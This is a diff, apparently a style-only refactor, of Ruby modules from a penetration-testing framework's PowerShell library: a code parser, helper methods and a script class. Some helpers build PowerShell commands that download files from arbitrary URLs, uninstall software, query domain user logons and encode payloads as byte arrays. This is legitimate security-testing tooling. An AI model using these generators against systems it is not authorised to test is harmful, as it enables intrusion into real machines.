']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
raise ArgumentError, "Unknown starting bracket"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
raise ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
raise ArgumentError, "Invalid index"
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
|
||||
delims.map {|x| x[1] = x[1] + idx + 1}
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while ((c != 0) && (x = delims.shift)) do
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -=1 : c+=1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx+func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name,func_txt)
|
||||
end
|
||||
end # Parser
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2,15 +2,12 @@
|
|||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
module Powershell
|
||||
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
##
|
||||
|
||||
module PshMethods
|
||||
|
||||
#
|
||||
# Download file via .NET WebClient
|
||||
#
|
||||
|
@ -20,7 +17,7 @@ module Powershell
|
|||
# @return [String] Powershell code to download a file
|
||||
def self.download(src, target)
|
||||
target ||= '$pwd\\' << src.split('/').last
|
||||
return %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -31,9 +28,9 @@ module Powershell
|
|||
# the application name
|
||||
#
|
||||
# @return [String] Powershell code to uninstall an application
|
||||
def self.uninstall(app,fuzzy=true)
|
||||
def self.uninstall(app, fuzzy = true)
|
||||
match = fuzzy ? '-like' : '-eq'
|
||||
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -43,7 +40,7 @@ module Powershell
|
|||
#
|
||||
# @return [String] Powershell code to create a SecureString
|
||||
def self.secure_string(str)
|
||||
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
||||
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -54,7 +51,7 @@ module Powershell
|
|||
# @return [String] Powershell code to identify the PID of a file
|
||||
# lock owner
|
||||
def self.who_locked_file(filename)
|
||||
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -65,11 +62,9 @@ module Powershell
|
|||
# @return [String] Powershell code to return the last time of a user
|
||||
# login
|
||||
def self.get_last_login(user)
|
||||
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -4,9 +4,7 @@ require 'rex'
|
|||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
module Powershell
|
||||
|
||||
class Script
|
||||
attr_accessor :code
|
||||
attr_reader :functions, :rig
|
||||
|
@ -17,9 +15,9 @@ module Powershell
|
|||
# Pretend we are actually a string
|
||||
extend Forwardable
|
||||
# In case someone messes with String we delegate based on its instance methods
|
||||
#eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
|
||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||
|
@ -29,13 +27,13 @@ module Powershell
|
|||
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||
:initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||
:end_with?
|
||||
|
||||
def initialize(code)
|
||||
@code = ''
|
||||
@rig = Rex::RandomIdentifierGenerator.new()
|
||||
@rig = Rex::RandomIdentifierGenerator.new
|
||||
|
||||
begin
|
||||
# Open code file for reading
|
||||
|
@ -50,10 +48,9 @@ module Powershell
|
|||
# Treat code as a... code
|
||||
@code = code.to_s.dup # in case we're eating another script
|
||||
end
|
||||
@functions = get_func_names.map {|f| get_func(f)}
|
||||
@functions = get_func_names.map { |f| get_func(f) }
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Class methods
|
||||
##
|
||||
|
@ -66,7 +63,7 @@ module Powershell
|
|||
# @param var_name [String] Byte array variable name
|
||||
#
|
||||
# @return [String] input_data as a powershell byte array
|
||||
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
||||
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||
# File will raise an exception if the path contains null byte
|
||||
if input_data.include? "\x00"
|
||||
code = input_data
|
||||
|
@ -77,15 +74,15 @@ module Powershell
|
|||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
1.upto(code.length - 1) do |byte|
|
||||
if (byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
return psh << lines.join("") + "\r\n"
|
||||
psh << lines.join('') + "\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -93,11 +90,9 @@ module Powershell
|
|||
#
|
||||
# @return [Array] Code modifiers
|
||||
def self.code_modifiers
|
||||
self.instance_methods.select {|m| m =~ /^(strip|sub)/}
|
||||
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||
end
|
||||
end # class Script
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue